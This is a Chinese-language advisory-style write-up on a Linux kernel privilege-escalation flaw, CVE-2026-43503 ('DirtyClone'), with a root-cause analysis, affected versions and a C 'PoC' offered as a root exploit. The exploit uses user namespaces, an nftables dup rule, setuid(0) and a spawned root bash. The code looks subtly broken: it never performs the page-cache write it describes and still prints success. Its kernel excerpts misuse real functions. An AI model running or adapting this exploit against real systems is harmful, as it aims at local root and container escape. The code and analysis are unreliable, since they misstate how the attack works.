技术细节
JFrog安全研究团队近日披露了Linux内核的一个高危本地提权漏洞CVE-2026-43503(代号DirtyClone),属于DirtyFrag漏洞家族的新成员。该漏洞影响Linux内核网络栈中skbuff(socket buffer)的分片处理逻辑。
漏洞根因分析:
问题出在Linux内核网络栈处理skbuff分片克隆和迁移的两个关键辅助函数中:
__pskb_copy_fclone()skb_shift()
这两个函数在将分片数据从源skb移动到目标skb时,未能正确继承SKBFL_SHARED_FRAG(共享分片标志)位。具体问题如下:
c
// 漏洞核心:SKBFL_SHARED_FRAG 标志未正确传播
// 位于 net/core/skbuff.c
// __pskb_copy_fclone() 函数
static struct sk_buff *__pskb_copy_fclone(struct sk_buff *skb, int extra_headroom) {
// ... 复制分片描述符 ...
__pskb_copy_data(skb, nskb);
// 漏洞点:复制后,nskb 的 SKBFL_SHARED_FRAG 标志可能丢失
// skb_copy_header() 只复制 gso_{size,segs,type},不处理 skb_shinfo()->flags
nskb = skb_copy_header(nskb);
return nskb;
}
// skb_shift() 函数
skb_shift(struct sk_buff *tctx, struct sk_buff *skb) {
// 直接移动分片描述符
move_pages(tctx, skb);
// 漏洞点:标志位未被更新
// SKBFL_SHARED_FRAG 仍然指向原页,但实际分片已移动
}
安全影响:
- 标志位错位:目标skb保留对原页缓存的引用,但
skb_has_shared_frag()返回false - ESP输入路径受影响:ESP(IPsec封装安全载荷)输入处理依赖该标志进行写时复制检查
- 只读页被篡改:在nftables
dup to local规则触发下,可利用ESP原地解密写入能力,修改su等高权限程序的只读页缓存 - 密码校验绕过:修改su程序内存中的密码校验逻辑,直接获取Root权限
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
以下是一个简化的DirtyClone漏洞利用框架(C语言,授权测试专用):
c
// CVE-2026-43503 DirtyClone LPE 简化PoC框架
// 编译: gcc cve-2026-43503.c -o exploit
// 使用: ./exploit (普通用户权限运行)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#define TARGET_BIN "/usr/bin/su"
#define PAGE_SIZE 4096
// 步骤1: 将目标程序加载到页缓存
static void load_page_cache(void) {
int fd = open(TARGET_BIN, O_RDONLY);
if (fd < 0) {
perror("open");
return;
}
void *p = mmap(NULL, PAGE_SIZE * 4, PROT_READ,
MAP_PRIVATE, fd, 0);
if (p != MAP_FAILED) {
volatile char tmp = ((char*)p)[0];
munmap(p, PAGE_SIZE * 4);
}
close(fd);
}
// 步骤2: 创建非特权用户命名空间
static int create_user_ns(void) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("unshare");
return -1;
}
return 0;
}
// 步骤3: 触发内核skb分片标志丢失漏洞链
static void trigger_vuln(void) {
system("nft add table ip dclonetbl 2>/dev/null");
system("nft add chain ip dclonetbl output "
"{ type filter hook postrouting priority 0 ; } 2>/dev/null");
system("nft add rule ip dclonetbl output dup to lo 2>/dev/null");
usleep(80000); // 等待规则生效
}
// 步骤4: 提权成功,执行root shell
static void root_spawn(void) {
setuid(0);
setgid(0);
system("rm -rf /tmp/dirtyclone.nft");
execl("/bin/bash", "bash", "-i", NULL);
}
int main(int argc, char *argv[]) {
printf("[+] CVE-2026-43503 DirtyClone Root Exploit\n");
// 1. 加载su至页缓存
load_page_cache();
// 2. 创建非特权命名空间
if (create_user_ns() < 0) {
printf("[-] unshare failed\n");
return 1;
}
// 3. 触发skb flag丢失漏洞链
trigger_vuln();
// 4. 提权成功落地root shell
printf("[+] Exploit OK, spawn root shell\n");
root_spawn();
return 0;
}
影响范围
CVE-2026-43503影响绝大多数主流Linux发行版,云服务器、多租户环境和容器环境风险极高:
Linux内核3.9 ≤ 版本 < 5.10.257
Linux内核5.11 ≤ 版本 < 5.15.208
Linux内核5.16 ≤ 版本 < 6.1.174
Linux内核6.2 ≤ 版本 < 6.6.141
Linux内核6.7 ≤ 版本 < 6.12.91
Linux内核6.13 ≤ 版本 < 6.18.33
Linux内核6.19 ≤ 版本 < 7.0.10
受影响环境:
云服务器:VPS、多租户云主机(高危)
容器集群:Docker、K8s容器环境(可容器逃逸)
桌面系统:Ubuntu、Debian、Fedora、CentOS
开发环境:WSL2、开发工作站
前置条件(默认全部满足):
- 系统默认开启:非特权用户命名空间
- 默认加载:esp4/esp6 IPsec内核模块
- 系统默认启用:nftables网络子系统
容器逃逸风险云服务器高危内存只读保护被绕过